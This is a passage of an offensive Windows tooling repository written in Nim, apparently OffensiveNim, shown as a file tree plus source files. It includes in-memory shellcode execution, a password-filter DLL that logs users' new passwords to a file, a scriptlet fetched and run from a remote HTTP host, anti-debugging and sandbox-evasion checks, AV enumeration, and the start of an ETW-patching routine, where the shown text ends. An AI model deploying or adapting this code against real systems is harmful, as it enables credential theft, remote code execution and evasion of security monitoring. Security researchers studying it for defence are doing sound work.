├── .gitignore ├── bin └── .gitignore ├── rsrc ├── mscoree.lib └── super_secret_stuff.zip ├── src ├── pop_winim_bin.nim ├── execute_sct_bin.nim ├── pop_bin.nim ├── pop_winim_lib.nim ├── embed_rsrc_bin.nim ├── syscalls_bin.nim ├── wmiquery_bin.nim ├── named_pipe_client_bin.nim ├── dynamic_shellcode_local_inject_bin.nim ├── named_pipe_server_bin.nim ├── execute_powershell_bin.nim ├── list_remote_shares.nim ├── scriptcontrol_bin.nim ├── anti_debug.nim ├── passfilter_lib.nim ├── anti_analysis_isdebuggerpresent.nim ├── http_request_bin.nim ├── encrypt_decrypt_bin.nim ├── syscall_process_enum.nim ├── sandbox_domain_check.nim ├── etw_patch_bin.nim ├── amsi_patch_bin.nim ├── amsi_providerpatch_bin.nim ├── ldap_query_bin.nim ├── token_steal_cmd.nim ├── out_compressed_dll_bin.nim ├── anti_debug_via_tls.nim ├── shellcode_inline_asm_bin.nim ├── rsrc_section_shellcode.nim ├── memfd_python_interpreter_bin.nim ├── unhookc.nim ├── dns_exfiltrate.nim ├── minidump_bin.nim ├── self_delete_bin.nim ├── unhook.nim ├── chrome_dump_bin.nim ├── uuid_exec_bin.nim ├── clr_host_cpp_embed_bin.nim ├── blockdlls_acg_ppid_spoof_bin.nim ├── shellcode_callback_bin.nim ├── stack_string_allocation.nim ├── shellcode_fiber.nim ├── excel_com_bin.nim ├── scshell_c_embed_bin.nim ├── shellcode_bin.nim ├── suspended_thread_injection.nim ├── ssdt_dump.nim ├── fltmc_bin.nim ├── Hook.nim ├── sandbox_process_bin.nim ├── taskbar_ewmi_bin.nim ├── keylogger_bin.nim ├── fork_dump_bin.nim ├── hardware_breakpoints.nim ├── local_pe_execution.nim └── execute_assembly_bin.nim ├── .devcontainer ├── Dockerfile └── devcontainer.json ├── Makefile ├── LICENSE ├── wip ├── excel_4_com_bin.nim └── amsi_patch_2_bin.nim └── README_CN.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | vscode/ -------------------------------------------------------------------------------- /bin/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /rsrc/mscoree.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/byt3bl33d3r/OffensiveNim/HEAD/rsrc/mscoree.lib -------------------------------------------------------------------------------- /rsrc/super_secret_stuff.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/byt3bl33d3r/OffensiveNim/HEAD/rsrc/super_secret_stuff.zip -------------------------------------------------------------------------------- /src/pop_winim_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/com 7 | 8 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) -------------------------------------------------------------------------------- /src/execute_sct_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | SCT file execution 6 | ]# 7 | 8 | import winim/com 9 | 10 | var scriptlet = GetObject("script:http://172.16.164.1:8000/test.sct") 11 | scriptlet.Exec() -------------------------------------------------------------------------------- /src/pop_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | type 7 | HANDLE* = int 8 | HWND* = HANDLE 9 | UINT* = int32 10 | LPCSTR* = cstring 11 | 12 | proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 13 | {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".} 14 | 15 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) 16 | -------------------------------------------------------------------------------- /src/pop_winim_lib.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/lean 7 | 8 | proc NimMain() {.cdecl, importc.} 9 | 10 | proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = 11 | NimMain() # You must manually import and start Nim's garbage collector if you define you're own DllMain 12 | 13 | if fdwReason == DLL_PROCESS_ATTACH: 14 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) 15 | 16 | return true -------------------------------------------------------------------------------- /src/embed_rsrc_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import zippy/ziparchives 7 | import strformat 8 | import streams 9 | import os 10 | 11 | const MY_RESOURCE = slurp("../rsrc/super_secret_stuff.zip") 12 | 13 | let path: string = getEnv("LOCALAPPDATA") / "Temp" 14 | 15 | proc extractStuff(): bool = 16 | var archive = ZipArchive() 17 | let dataStream = newStringStream(MY_RESOURCE) 18 | 19 | archive.open(dataStream) 20 | archive.extractAll(path) 21 | archive.clear() 22 | 23 | return true 24 | 25 | echo fmt"[*] Path to extract to: {path}" 26 | if extractStuff(): 27 | echo fmt"[*] extracted" 28 | -------------------------------------------------------------------------------- /src/syscalls_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | References: 6 | - https://github.com/outflanknl/WdToggle/blob/main/Syscalls.h#L5 7 | - https://outflank.nl/blog/2020/12/26/direct-syscalls-in-beacon-object-files/ 8 | ]# 9 | 10 | {.passC:"-masm=intel".} 11 | 12 | import winim/lean 13 | 14 | proc GetTEBAsm64(): LPVOID {.asmNoStackFrame.} = 15 | asm """ 16 | push rbx 17 | xor rbx, rbx 18 | xor rax, rax 19 | mov rbx, qword ptr gs:[0x30] 20 | mov rax, rbx 21 | pop rbx 22 | jno theEnd 23 | theEnd: 24 | ret 25 | """ 26 | 27 | var p = GetTEBAsm64() 28 | echo repr(p) 29 | -------------------------------------------------------------------------------- /.devcontainer/Dockerfile: -------------------------------------------------------------------------------- 1 | # See here for image contents: https://github.com/microsoft/vscode-dev-containers/tree/v0.209.6/containers/debian/.devcontainer/base.Dockerfile 2 | 3 | # [Choice] Debian version (use bullseye or stretch on local arm64/Apple Silicon): bullseye, buster, stretch 4 | ARG VARIANT="buster" 5 | FROM mcr.microsoft.com/vscode/devcontainers/base:0-${VARIANT} 6 | 7 | # ** [Optional] Uncomment this section to install additional packages. ** 8 | RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ 9 | && apt-get -y install --no-install-recommends build-essential mingw-w64 binutils 10 | 11 | USER vscode 12 | ENV CHOOSENIM_NO_ANALYTICS 1 13 | ENV PATH $HOME/.nimble/bin:$PATH 14 | RUN echo 'export PATH="$HOME/.nimble/bin:$PATH"' >> ~/.profile -------------------------------------------------------------------------------- /src/wmiquery_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Winim's examples are extremely useful 6 | 7 | Reference: 8 | - https://github.com/khchen/winim/blob/df04327df3016888e43d01c464b008d619253198/examples/com/diskinfo.nim 9 | ]# 10 | 11 | import winim/com 12 | 13 | echo "Getting installed AV products" 14 | var wmi = GetObject(r"winmgmts:{impersonationLevel=impersonate}!\\.\root\securitycenter2") 15 | for i in wmi.execQuery("SELECT displayName FROM AntiVirusProduct"): 16 | echo "AntiVirusProduct: ", i.displayName 17 | 18 | echo "\n" 19 | 20 | echo "Getting processes" 21 | wmi = GetObject(r"winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") 22 | for i in wmi.execQuery("select * from win32_process"): 23 | echo i.handle, ", ", i.name 24 | -------------------------------------------------------------------------------- /src/named_pipe_client_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim 7 | 8 | var pipe: HANDLE = CreateFile( 9 | r"\\.\pipe\crack", 10 | GENERIC_READ or GENERIC_WRITE, 11 | FILE_SHARE_READ or FILE_SHARE_WRITE, 12 | NULL, 13 | OPEN_EXISTING, 14 | FILE_ATTRIBUTE_NORMAL, 15 | 0 16 | ) 17 | 18 | if bool(pipe): 19 | echo "[*] Connected to server" 20 | try: 21 | var 22 | buffer: array[100, char] 23 | bytesRead: DWORD 24 | 25 | var result: BOOL = ReadFile( 26 | pipe, 27 | addr buffer, 28 | (DWORD)buffer.len, 29 | addr bytesRead, 30 | NULL 31 | ) 32 | echo "[*] bytes read: ", bytesRead 33 | echo repr(buffer) 34 | finally: 35 | CloseHandle(pipe) 36 | -------------------------------------------------------------------------------- /src/dynamic_shellcode_local_inject_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Connor MacLeod, Twitter: @0xc130d 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/lean 7 | 8 | proc executeLocally(shellcode: openArray[byte]): void = 9 | let pShellcodeDest = VirtualAlloc( 10 | NULL, 11 | shellcode.len, 12 | MEM_COMMIT, 13 | PAGE_EXECUTE_READ_WRITE 14 | ) 15 | 16 | copyMem(pShellcodeDest, shellcode[0].addr, shellcode.len) 17 | let f = cast[proc(){.nimcall.}](pShellcodeDest) 18 | f() 19 | 20 | when defined(windows): 21 | when isMainModule: 22 | #Do what you want to obfuscate your shellcode as long as you end with a decoded/decrypted seq[byte] or array[byte] 23 | #Works with every msfvenom payload I've tried 24 | var shellcode: seq[byte] = @[byte 0xc, 0x13, 0x0d] #Replace with your own shellcode 25 | 26 | shellcode.executeLocally() -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | vpath %.exe bin/ 2 | vpath %.dll bin/ 3 | vpath %.nim src/ 4 | 5 | #NIMFLAGS = -d=danger -d=mingw -d=strip --passc=-flto --passl=-flto --opt=size 6 | NIMFLAGS = -d=debug -d=mingw --embedsrc=on --hints=on 7 | 8 | SRCS_BINS = $(notdir $(wildcard src/*_bin.nim)) 9 | SRCS_LIBS = $(notdir $(wildcard src/*_lib.nim)) 10 | BINS = $(patsubst %.nim,%.exe,$(SRCS_BINS)) 11 | DLLS = $(patsubst %.nim,%.dll,$(SRCS_LIBS)) 12 | 13 | .PHONY: clean 14 | 15 | default: build 16 | 17 | build: $(BINS) $(DLLS) 18 | 19 | rebuild: clean build 20 | 21 | clean: 22 | rm -rf bin/*.exe bin/*.dll 23 | 24 | %.exe : %.nim 25 | nim c $(NIMFLAGS) --app=console --cpu=amd64 --out=bin/$*_64.exe $< 26 | #nim c $(NIMFLAGS) --app=console --cpu=i386 --out=bin/$*_32.exe $< 27 | 28 | %.dll: %.nim 29 | nim c $(NIMFLAGS) --app=lib --nomain --cpu=amd64 --out=bin/$*_64.dll $< 30 | #nim c $(NIMFLAGS) --app=lib --nomain --cpu=i386 --out=bin/$*_32.dll $< -------------------------------------------------------------------------------- /src/named_pipe_server_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim 7 | 8 | var pipe: HANDLE = CreateNamedPipe( 9 | r"\\.\pipe\crack", 10 | PIPE_ACCESS_DUPLEX, 11 | PIPE_TYPE_BYTE, 12 | 1, 13 | 0, 14 | 0, 15 | 0, 16 | NULL 17 | ) 18 | 19 | if not bool(pipe) or pipe == INVALID_HANDLE_VALUE: 20 | echo "[X] Server pipe creation failed" 21 | quit(1) 22 | 23 | try: 24 | echo "[*] Waiting for client(s)" 25 | var result: BOOL = ConnectNamedPipe(pipe, NULL) 26 | echo "[*] Client connected" 27 | 28 | var data: cstring = "*** Hello from the pipe server ***" 29 | var bytesWritten: DWORD 30 | WriteFile( 31 | pipe, 32 | data, 33 | (DWORD) data.len, 34 | addr bytesWritten, 35 | NULL 36 | ) 37 | echo "[*] bytes written: ", bytesWritten 38 | 39 | finally: 40 | CloseHandle(pipe) 41 | -------------------------------------------------------------------------------- /src/execute_powershell_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | References: 6 | - https://gist.github.com/cpoDesign/66187c14092ceb559250183abbf9e774 7 | ]# 8 | 9 | import winim/clr 10 | import sugar 11 | import strformat 12 | 13 | var Automation = load("System.Management.Automation") 14 | dump Automation 15 | var RunspaceFactory = Automation.GetType("System.Management.Automation.Runspaces.RunspaceFactory") 16 | dump RunspaceFactory 17 | 18 | var runspace = @RunspaceFactory.CreateRunspace() 19 | dump runspace 20 | 21 | runspace.Open() 22 | 23 | var pipeline = runspace.CreatePipeline() 24 | dump pipeline 25 | pipeline.Commands.AddScript("Get-Process") 26 | pipeline.Commands.Add("Out-String") 27 | 28 | var results = pipeline.Invoke() 29 | 30 | for i in countUp(0,results.Count()-1): 31 | echo results.Item(i) 32 | 33 | dump results 34 | echo results.isType() 35 | var t = results.GetType() 36 | dump t 37 | discard readLine(stdin) 38 | echo t.isType() 39 | echo t.unwrap.vt 40 | runspace.Close() -------------------------------------------------------------------------------- /src/list_remote_shares.nim: -------------------------------------------------------------------------------- 1 | import winim 2 | import std/parseopt 3 | import os 4 | 5 | var target = "" 6 | var p = initOptParser(commandLineParams()) 7 | while true: 8 | p.next() 9 | case p.kind 10 | of cmdEnd: break 11 | of cmdArgument: 12 | target = p.key 13 | else: 14 | discard 15 | if target == "": 16 | echo("Usage: ", getAppFilename(), " ") 17 | quit(1) 18 | 19 | var structSize = sizeOf(typeof(SHARE_INFO_502)) 20 | var buf: PSHARE_INFO_502 21 | var entriesread: DWORD 22 | entriesread = 0 23 | var totalentries: DWORD 24 | totalentries = 0 25 | var resume_handle: DWORD 26 | resume_handle = 0 27 | var ret = NetShareEnum(target,502,cast[ptr LPBYTE](&buf), MAX_PREFERRED_LENGTH, &entriesread, &totalentries,&resume_handle) 28 | if NT_SUCCESS(ret) == true: 29 | var currentPtr = buf 30 | for i in 1 .. entriesread: 31 | echo(currentPtr.shi502_netname, " -> ", currentPtr.shi502_path) 32 | currentPtr = cast[PSHARE_INFO_502](cast[int](currentPtr) + cast[int](structSize)) 33 | NetApiBufferFree(buf); 34 | 35 | 36 | -------------------------------------------------------------------------------- /src/scriptcontrol_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Stolen from Winim's examples with a few modifications 6 | - https://github.com/khchen/winim/blob/df04327df3016888e43d01c464b008d619253198/examples/com/MSScriptControl_ScriptControl.nim 7 | ]# 8 | 9 | import strformat 10 | import system 11 | import winim/com 12 | 13 | when defined(amd64): 14 | echo "ScriptControl only support windows i386 version" 15 | quit(1) 16 | 17 | var obj = CreateObject("MSScriptControl.ScriptControl") 18 | obj.allowUI = true 19 | obj.useSafeSubset = false 20 | 21 | obj.language = "JavaScript" 22 | var exp = "Math.pow(5, 2) * Math.PI" 23 | var answer = obj.eval(exp) 24 | var msg = fmt"{exp} = {$answer}" 25 | 26 | obj.language = "VBScript" 27 | var title = "Windows COM for Nim" 28 | var vbs = fmt""" 29 | MsgBox("This is a VBScript message box." & vbCRLF & "{msg}", vbOKOnly, "{title}") 30 | """ 31 | 32 | obj.eval(vbs) 33 | 34 | try: 35 | obj.eval "MsgBox()" 36 | except COMException: 37 | echo fmt"Error: ""{getCurrentExceptionMsg()}""" -------------------------------------------------------------------------------- /src/anti_debug.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Itay Migdal 3 | License: BSD 3-Clause 4 | 5 | Two anti-debugging techniques implemented in Nim 6 | ]# 7 | 8 | import winim 9 | 10 | {.passC:"-masm=intel".} 11 | 12 | 13 | proc pebBeingDebugged(): bool {.asmNoStackFrame.} = 14 | # https://anti-debug.checkpoint.com/techniques/debug-flags.html#manual-checks-peb-beingdebugged-flag 15 | asm """ 16 | mov rax, gs:[0x60] 17 | movzx rax, byte ptr [rax+2] 18 | ret 19 | """ 20 | 21 | 22 | proc getProcessFileHandle(): bool = 23 | # https://anti-debug.checkpoint.com/techniques/object-handles.html#createfile 24 | var fileName: array[MAX_PATH + 1, WCHAR] 25 | discard GetModuleFileNameW( 26 | 0, 27 | addr fileName[0], 28 | MAX_PATH 29 | ) 30 | var res = CreateFileW( 31 | addr fileName[0], 32 | GENERIC_READ, 33 | 0, 34 | NULL, 35 | OPEN_EXISTING, 36 | 0, 37 | 0 38 | ) 39 | 40 | var isDebugged = (res == INVALID_HANDLE_VALUE) 41 | CloseHandle(res) 42 | return isDebugged 43 | 44 | 45 | proc isDebugged*(): bool = 46 | return pebBeingDebugged() or getProcessFileHandle() 47 | -------------------------------------------------------------------------------- /src/passfilter_lib.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | Install with the passfilter.bat file here https://github.com/zerosum0x0/defcon-25-workshop/blob/master/src/passfilter/passfilter.bat 6 | 7 | Reference: 8 | - https://github.com/zerosum0x0/defcon-25-workshop/blob/master/src/passfilter/passfilter/passfilter.c 9 | ]# 10 | 11 | import strformat 12 | import winim/lean 13 | 14 | proc NimMain() {.cdecl, importc.} 15 | 16 | proc PasswordChangeNotify(UserName: PUNICODE_STRING, RelativeId: ULONG, NewPassword: PUNICODE_STRING): NTSTATUS {.stdcall, exportc, dynlib.} = 17 | NimMain() # Initialize Nim's GC 18 | 19 | let f = open(r"C:\passwords.txt", fmAppend) 20 | defer: f.close() 21 | 22 | f.writeline(fmt"Username: {UserName.Buffer}, NewPassword: {NewPassword.Buffer}") 23 | 24 | return 0 25 | 26 | proc InitializeChangeNotify(): BOOL {.stdcall, exportc, dynlib.} = 27 | return true 28 | 29 | proc PasswordFilter(AccountName: PUNICODE_STRING, FullName: PUNICODE_STRING, Password: PUNICODE_STRING, SetOperation: BOOL): BOOL {.stdcall, exportc, dynlib.} = 30 | return true 31 | 32 | proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = 33 | return true 34 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2020 Marcello Salvati 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | 1. Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | 2. Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 15 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIEDi 16 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 18 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 19 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 20 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 21 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 23 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | -------------------------------------------------------------------------------- /src/anti_analysis_isdebuggerpresent.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: HuskyHacks 3 | License: BSD 3-Clause 4 | 5 | Compile: 6 | nim c -d:mingw --cpu=amd64 --app=console anti_analysis_isdebuggerpresent.nim 7 | ]# 8 | 9 | import winim 10 | 11 | # If you want to see the console out with an --app=console build, uncomment this import 12 | # import strformat 13 | 14 | # Uncomment for convinience breakpoint function that hangs the program until you hit enter in the console window 15 | # proc breakpoint(): void = 16 | # discard(readLine(stdin)) 17 | 18 | # Using winim's library to perform the check and convert the WINBOOL result into a simple bool for ease of access 19 | proc checkForDebugger(): bool = 20 | winimConverterBOOLToBoolean(IsDebuggerPresent()) 21 | 22 | proc main(): void = 23 | let debuggerIsDetected = checkForDebugger() 24 | # Uncomment to see the console output in an --app=console build 25 | # echo fmt"[*] Debugger Detected: {debuggerIsDetected}" 26 | 27 | if debuggerIsDetected: 28 | MessageBox(0, "Oh, you think you're slick, huh? I see your debugger over there. No soup for you!", "MEGASUSBRO", 0) 29 | quit(1) 30 | else: 31 | MessageBox(0, "No debugger detected! Cowabunga, dudes!", "COAST IS CLEAR", 0) 32 | MessageBox(0, "Boom!", "PAYLOAD", 0) 33 | 34 | # Breakpoint for convinience 35 | # breakpoint() 36 | 37 | when isMainModule: 38 | main() -------------------------------------------------------------------------------- /src/http_request_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 3 | License: BSD 3-Clause 4 | 5 | You have 4 options (that I'm aware of at the time of writing) to make an HTTP request with Nim from Windows: 6 | 7 | - Use Nim's builtin httpclient library (which has it's own HTTP implementation and uses raw sockets) 8 | - Warning: httpclient module currently doesn't perform cert validation, see https://nim-lang.org/docs/httpclient.html#sslslashtls-support 9 | 10 | - Use the WinHttp Com Object (through Winim) apperently that's a thing. Either didn't know about it or forgot about it. 11 | 12 | - Use Winim's wininet or winhttp modules which call their respective Windows API's 13 | 14 | - Use the IE Com Object (through Winim) 15 | 16 | The first two of those are by far the easiest. 17 | 18 | References: 19 | - https://github.com/khchen/winim/blob/master/examples/com/InternetExplorer_Application.nim 20 | - https://github.com/khchen/winim/blob/master/examples/com/WinHttp_WinHttpRequest.nim 21 | 22 | ]# 23 | 24 | 25 | import winim/com 26 | import httpclient 27 | 28 | echo "[*] Using httpclient" 29 | var client = newHttpClient() 30 | echo client.getContent("https://ifconfig.me") 31 | 32 | echo "[*] Using the WinHTTP.WinHttpRequest COM Object" 33 | var obj = CreateObject("WinHttp.WinHttpRequest.5.1") 34 | obj.open("get", "https://ifconfig.me") 35 | obj.send() 36 | echo obj.responseText 37 | -------------------------------------------------------------------------------- /src/encrypt_decrypt_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | 3 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 4 | License: BSD 3-Clause 5 | 6 | AES256-CTR Encryption/Decryption 7 | ]# 8 | 9 | import nimcrypto 10 | import nimcrypto/sysrand 11 | import base64 12 | 13 | func toByteSeq*(str: string): seq[byte] {.inline.} = 14 | ## Converts a string to the corresponding byte sequence. 15 | @(str.toOpenArrayByte(0, str.high)) 16 | 17 | var 18 | data: seq[byte] = toByteSeq(decode("SGVsbG8gV29ybGQ=")) 19 | envkey: string = "TARGETDOMAIN" 20 | 21 | ectx, dctx: CTR[aes256] 22 | key: array[aes256.sizeKey, byte] 23 | iv: array[aes256.sizeBlock, byte] 24 | plaintext = newSeq[byte](len(data)) 25 | enctext = newSeq[byte](len(data)) 26 | dectext = newSeq[byte](len(data)) 27 | 28 | # Create Random IV 29 | discard randomBytes(addr iv[0], 16) 30 | 31 | # We do not need to pad data, `CTR` mode works byte by byte. 32 | copyMem(addr plaintext[0], addr data[0], len(data)) 33 | 34 | # Expand key to 32 bytes using SHA256 as the KDF 35 | var expandedkey = sha256.digest(envkey) 36 | copyMem(addr key[0], addr expandedkey.data[0], len(expandedkey.data)) 37 | 38 | ectx.init(key, iv) 39 | ectx.encrypt(plaintext, enctext) 40 | ectx.clear() 41 | 42 | dctx.init(key, iv) 43 | dctx.decrypt(enctext, dectext) 44 | dctx.clear() 45 | 46 | echo "IV: ", toHex(iv) 47 | echo "KEY: ", expandedkey 48 | echo "PLAINTEXT: ", toHex(plaintext) 49 | echo "ENCRYPTED TEXT: ", toHex(enctext) 50 | echo "DECRYPTED TEXT: ", toHex(dectext) -------------------------------------------------------------------------------- /src/syscall_process_enum.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: @0xC130D 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/lean 7 | 8 | proc listProcesses() = 9 | var 10 | returnLengthA: ULONG = 0 11 | returnLengthB: ULONG = 0 12 | 13 | # Get size of data using a dummy call 14 | NtQuerySystemInformation(systemProcessInformation, NULL, 0, addr returnLengthA) 15 | 16 | # Allocate memory now that we know the size of the results 17 | var system_process_info = newSeq[byte](returnLengthA) 18 | 19 | # The actual call 20 | var STATUS: NTSTATUS = NtQuerySystemInformation( 21 | systemProcessInformation, 22 | addr system_process_info[0], 23 | returnLengthA, 24 | addr returnLengthB) 25 | 26 | if STATUS != 0: 27 | echo "[!] - Unable to query system info. Error: ", GetLastError() 28 | return 29 | 30 | var 31 | offset = 0 32 | sysproc: PSYSTEM_PROCESS_INFORMATION 33 | 34 | echo "PID \t- Name" 35 | # We use a pointer to SYSTEM_PROCESS_INFORMATION because we are looping with pointer math 36 | while true: 37 | sysproc = cast[PSYSTEM_PROCESS_INFORMATION](addr system_process_info[offset]) 38 | if sysproc.NextEntryOffset == 0: 39 | echo "End Of List..." 40 | break 41 | 42 | offset += sysproc.NextEntryOffset 43 | echo sysproc.UniqueProcessId, "\t- ", sysproc.ImageName.Buffer 44 | 45 | 46 | if isMainModule: 47 | listProcesses() -------------------------------------------------------------------------------- /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | // For format details, see https://aka.ms/devcontainer.json. For config options, see the README at: 2 | // https://github.com/microsoft/vscode-dev-containers/tree/v0.209.6/containers/debian 3 | { 4 | "name": "Debian", 5 | "build": { 6 | "dockerfile": "Dockerfile", 7 | // Update 'VARIANT' to pick an Debian version: bullseye, buster, stretch 8 | // Use bullseye or stretch on local arm64/Apple Silicon. 9 | "args": { "VARIANT": "bullseye" } 10 | }, 11 | 12 | // Set *default* container specific settings.json values on container create. 13 | "settings": {}, 14 | 15 | // Add the IDs of extensions you want installed when the container is created. 16 | "extensions": [ 17 | "kosz78.nim", 18 | "ms-vscode.cpptools" 19 | ], 20 | 21 | // Use 'forwardPorts' to make a list of ports inside the container available locally. 22 | // "forwardPorts": [], 23 | 24 | // Uncomment to use the Docker CLI from inside the container. See https://aka.ms/vscode-remote/samples/docker-from-docker. 25 | // "mounts": [ "source=/var/run/docker.sock,target=/var/run/docker.sock,type=bind" ], 26 | 27 | // Uncomment when using a ptrace-based debugger like C++, Go, and Rust 28 | // "runArgs": [ "--cap-add=SYS_PTRACE", "--security-opt", "seccomp=unconfined" ], 29 | 30 | "postCreateCommand": "curl https://nim-lang.org/choosenim/init.sh -sSf | sh -s -- -y && nimble -y install winim c2nim", 31 | 32 | // Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root. 33 | "remoteUser": "vscode", 34 | "features": { 35 | "git": "latest" 36 | } 37 | } -------------------------------------------------------------------------------- /src/sandbox_domain_check.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: Shashwat Shah, Twitter: @0xEr3bus 3 | License: BSD 3-Clause 4 | Using Network Management Windows API to check if the computer is connected to domain. Used for sandbox evasion. 5 | References: 6 | - https://ppn.snovvcrash.rocks/red-team/maldev/sandbox-evasion 7 | - https://github.com/khchen/winim/blob/a485708a243e2f2acbce783027b8cf8582536414/winim/inc/lm.nim#L3988 8 | - https://learn.microsoft.com/en-us/windows/win32/api/lmjoin/nf-lmjoin-netgetjoininformation 9 | Compile: 10 | nim c -d=mingw --app=console --checks:off -d:danger --deadCodeElim:op --hints:off --passc=-flto --passl=-flto --stackTrace:off --lineTrace:off -d:strip --opt:size --cpu=amd64 sandbox_domain_check.nim 11 | strip sandbox_domain_check.exe; upx sandbox_domain_check.exe 12 | ]# 13 | 14 | import winim 15 | 16 | 17 | proc IsDomainJoined(): bool = 18 | var joined = false 19 | var lpNameBuffer: LPWSTR 20 | lpNameBuffer = nil 21 | var joinStatus: NETSETUP_JOIN_STATUS 22 | joinStatus = netSetupUnknownStatus 23 | var status: NET_API_STATUS 24 | status = NetGetJoinInformation(lpNameBuffer, &lpNameBuffer, &joinStatus) 25 | if status == NERR_Success: 26 | joined = joinStatus == netSetupDomainName 27 | 28 | if lpNameBuffer != nil: 29 | NetApiBufferFree(lpNameBuffer) 30 | 31 | return joined 32 | 33 | 34 | var result = IsDomainJoined() 35 | if not result: 36 | echo "[-] Wrong choice, you aren't connected!" 37 | quit(1) 38 | else: 39 | echo "[+] Sounds Fair, you are connected!" 40 | quit(0) 41 | -------------------------------------------------------------------------------- /src/etw_patch_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Marcello Salvati, S3cur3Th1sSh1t, Twitter: @byt3bl33d3r, @Shitsecure 3 | License: BSD 3-Clause 4 | ]# 5 | 6 | import winim/lean 7 | import strformat 8 | import dynlib 9 | 10 | when defined amd64: 11 | echo "[*] Running in x64 process" 12 | const patch: array[1, byte] = [byte 0xc3] 13 | elif defined i386: 14 | echo "[*] Running in x86 process" 15 | const patch: array[4, byte] = [byte 0xc2, 0x14, 0x00, 0x00] 16 | 17 | proc Patchntdll(): bool = 18 | var 19 | ntdll: LibHandle 20 | cs: pointer 21 | op: DWORD 22 | t: DWORD 23 | disabled: bool = false 24 | 25 | # loadLib does the same thing that the dynlib pragma does and is the equivalent of LoadLibrary() 